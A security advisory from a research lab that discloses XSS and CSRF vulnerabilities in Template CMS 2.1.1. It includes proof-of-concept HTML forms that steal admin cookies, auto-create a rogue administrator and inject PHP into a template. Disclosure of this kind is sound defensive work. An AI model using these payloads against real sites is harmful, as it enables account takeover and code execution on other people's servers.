Advisory ID: HTB23115
Product: Template CMS
Vendor: template-cms.ru
Vulnerable Version(s): 2.1.1 and probably prior
Tested Version: 2.1.1
Vendor Notification: September 12, 2012 
Public Disclosure: October 3, 2012 
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2012-4901, CVE-2012-4902
CVSSv2 Base Scores: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N), 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Risk Level: High 
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Template CMS, which can be exploited to perform Cross-Site Scripting (XSS) and Сross-Site Request Forgery (CSRF) attacks.


1) Cross-Site Scripting (XSS) in Template CMS: CVE-2012-4901

Input passed via the "themes_editor" POST parameter to /admin/index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of an affected website.


The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]/admin/index.php?action=add_template&id=themes" method="post">
<input type="hidden" name="themes_editor" value='</textarea><script>alert(document.cookie);</script>' />
<input type="hidden" name="themes_editor_name" value='' />
<input type="hidden" name="add_template" value='' />
<input type="submit" id="btn">
</form>



2) Сross-Site Request Forgery (CSRF) in Template CMS: CVE-2012-4902

The application allows authorized administrator to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to create new administrator or execute arbitrary PHP code.

An attacker has to trick a logged-in administrator to visit a malicious web page containing the following code that will add a new administrator to the CMS:


<form action="http://[host]/admin/index.php?id=system&sub_id=users&action=add" method="post">
<input type="hidden" name="login" value='newadmin' />
<input type="hidden" name="password" value='password' />
<input type="hidden" name="email" value='newadmin@mail.com' />
<input type="hidden" name="role" value='admin' />
<input type="hidden" name="register" value='' />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>



The second PoC adds arbitrary PHP code (phpinfo() in our case) into CMS's page: 


<form action="http://[host]/admin/index.php?id=themes&action=edit_template&file=aboutTemplate.php" method="post">
<input type="hidden" name="themes_editor_name" value='about' />
<input type="hidden" name="themes_editor" value='<? phpinfo(); ?>' />
<input type="hidden" name="old_name" value="about" />
<input type="hidden" name="edit_template" value='' />
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


The phpinfo() function will be executed [if allowed by web server configuration] on the following web page:

http://[vulnerable_host]/about



-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23115 - https://www.htbridge.com/advisory/HTB23115 - Multiple vulnerabilities in Template CMS.
[2] Template CMS  - http://template-cms.ru - Template CMS is a fast and simple content management system written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.